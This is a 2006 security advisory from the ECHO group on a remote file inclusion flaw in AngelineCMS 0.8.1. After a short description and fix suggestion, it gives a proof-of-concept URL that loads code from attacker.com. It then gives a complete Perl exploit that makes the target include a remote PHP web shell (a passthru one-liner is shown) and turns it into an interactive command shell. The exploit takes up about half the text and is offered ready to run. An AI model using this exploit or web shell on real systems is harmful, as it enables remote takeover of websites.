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[ECHO_ADV_27$2006] AngelineCMS 0.8.1 Installpath Remote File Inclusion
From: eufrato () gmail com
Date: 4 Apr 2006 17:10:10 -0000

\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_27$2006

---------------------------------------------------------------------------
[ECHO_ADV_27$2006] AngelineCMS 0.8.1 Installpath Remote File Inclusion
---------------------------------------------------------------------------

Author       : M.Hasran Addahroni
Date         : April, 4th 2006
Location     : Indonesia, Bali
Web          : http://advisories.echo.or.id/adv/adv27-K-159-2006.txt
Critical Lvl : Dangerous
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : AngelineCMS 
version     : 0.8.1
URL         : http://angelinecms.info/
Description :

AngelineCMS is an open source Content Management System (CMS) and a complete Web Development Framework (Application 
server).
It's written from ground up to take advance of PHP5's object-oriented features.
AngelineCMS is Open Source software under OSI approved Mozilla Public License.
AngelineCMS aims for easy, innovative solutions for daily web publishing problems. 

---------------------------------------------------------------------------

Proof of Concept:
~~~~~~~~~~~~~~~
Vulnerable Script: loadkernel.php in kernel folder.

---------------loadkernel.php--------------------------------
...
include_once($installPath."/kernel/common/time.php");
...
------------------------------------------------------------------

Variables $installpath are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection 
script.

Poc/Exploit:
~~~~~~~~~~~

http://www.target.com/[angelinecms_path]/kernel/loadkernel.php?installPath=http://attacker.com/evil?

Solution:
~~~~~~~~

sanitize the script code in loadkernel.php to protect this vulerability

Notification:
~~~~~~~~~~~

 vendor was contact

---------------------------------------------------------------------------
Shoutz:
~~~~~~

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit
~ newbie_hacker () yahoogroups com 
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Perl Exploit:
~~~~~~~~~~~

#!/usr/bin/perl
##
# AngelineCMS 0.8.1 installpath Remote Code Execution Exploit
# Bug Found & code By K-159 
# code reference from uid0/zod at ExploiterCode.com
##
# echo.or.id (c) 2006
# 
##
# usage:
# perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable>
#
# perl angelineCMS.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'kernel/loadkernel.php?installPath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die 
"\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[ê]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *AngelineCMS 0.8.1 installpath Remote Code Execution Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl angelineCMS.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to angelineCMS ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net \r\n";
 print "============================================================================\r\n";
 exit();
 }


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